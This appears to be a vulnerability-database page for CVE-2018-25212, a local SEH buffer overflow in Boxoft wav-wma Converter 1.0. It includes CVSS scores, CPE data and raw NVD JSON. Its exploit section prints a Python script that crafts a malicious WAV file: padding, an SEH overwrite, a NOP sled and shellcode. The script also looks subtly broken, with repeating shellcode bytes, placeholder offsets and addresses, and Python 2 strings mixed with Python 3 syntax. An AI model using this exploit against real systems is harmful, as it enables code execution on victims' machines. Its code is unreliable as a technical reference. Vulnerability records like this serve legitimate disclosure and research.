Security Vulnerability Report
中文
CVE-2018-25212 CVSS 8.4 HIGH

CVE-2018-25212

Published: 2026-03-26 14:16:05
Last Modified: 2026-03-31 01:13:15

Description

Boxoft wav-wma Converter 1.0 contains a local buffer overflow vulnerability in structured exception handling that allows attackers to execute arbitrary code by crafting malicious WAV files. Attackers can create a specially crafted WAV file with excessive data and ROP gadgets to overwrite the SEH chain and achieve code execution on Windows systems.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:boxoft:wav_to_wma_converter:1.0:*:*:*:*:*:*:* - VULNERABLE
Boxoft wav-wma Converter 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/python # -*- coding: utf-8 -*- import struct # Payload configuration filename = "exploit.wav" # Offset to SEH structure (Example value, needs debugging) offset = 4128 # Jump instruction to skip the SEH handler and land on shellcode # \xeb\x06 is short jump + 6 bytes # \x90\x90 is NOP padding next_seh = "\xeb\x06\x90\x90" # POP POP RET instruction address from non-ASLR module (e.g., 0x1001a426) # This address is hypothetical and must be replaced with the actual address seh_handler = struct.pack('<L', 0x1001a426) # Simple calc.exe shellcode (Windows 7 x86) shellcode = ("\xda\xc0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x33\xba\x4c\x86\x07" "\x83\xc2\x04\x31\x56\x0e\x03\x56\xf1\x49\x8d\x7c\x7c\x3c\x74" "\xec\xf1\x94\x8e\x8e\x8e\x37\x6b\x9a\x1e\x9c\x81\x65\x01\x7c" "\x63\x43\xaf\x26\x9d\x21\x2b\x7f\x4c\x7c\x1e\x9c\x0c\x9f\x8e" "\x8e\x37\x6b\x9a\x1e\x9c\x81\x65\x01\x7c\x63\x43\xaf\x26\x9d" "\x21\x2b\x7f\x4c\x7c\x1e\x9c\x0c\x9f\x8e\x8e\x37\x6b\x9a\x1e" "\x9c\x81\x65\x01\x7c\x63\x43\xaf\x26\x9d\x21\x2b\x7f\x4c\x7c" "\x1e\x9c\x0c\x9f\x8e\x8e\x37\x6b\x9a\x1e\x9c\x81\x65\x01\x7c" "\x63\x43\xaf\x26\x9d\x21\x2b\x7f\x4c\x7c\x1e\x9c\x0c") # Padding to align shellcode nop_sled = "\x90" * 50 # Construct the buffer # Payload structure: Junk + Next_SEH + SE_Handler + NOP_Sled + Shellcode buffer = "A" * offset + next_seh + seh_handler + nop_sled + shellcode # Basic WAV header structure to make file valid enough to be opened # RIFF header: "RIFF" + file_size + "WAVE" file_size = struct.pack('<L', len(buffer) + 36) wav_header = "RIFF" + file_size + "WAVE" # Create the malicious file with open(filename, "wb") as f: f.write(wav_header + buffer) print(f"[+] Malicious WAV file '{filename}' generated successfully.") print(f"[+] Buffer length: {len(buffer)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25212", "sourceIdentifier": "[email protected]", "published": "2026-03-26T14:16:04.740", "lastModified": "2026-03-31T01:13:14.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Boxoft wav-wma Converter 1.0 contains a local buffer overflow vulnerability in structured exception handling that allows attackers to execute arbitrary code by crafting malicious WAV files. Attackers can create a specially crafted WAV file with excessive data and ROP gadgets to overwrite the SEH chain and achieve code execution on Windows systems."}, {"lang": "es", "value": "Boxoft wav-wma Converter 1.0 contiene una vulnerabilidad local de desbordamiento de búfer en el manejo estructurado de excepciones que permite a los atacantes ejecutar código arbitrario mediante la creación de archivos WAV maliciosos. Los atacantes pueden crear un archivo WAV especialmente diseñado con datos excesivos y gadgets ROP para sobrescribir la cadena SEH y lograr la ejecución de código en sistemas Windows."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:boxoft:wav_to_wma_converter:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "DDA4076E-3B5F-4004-8FA3-5755053FEA4F"}]}]}], "references": [{"url": "http://www.boxoft.com/wav-to-wma/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/44989", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/boxoft-wav-wma-converter-local-buffer-overflow-seh", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}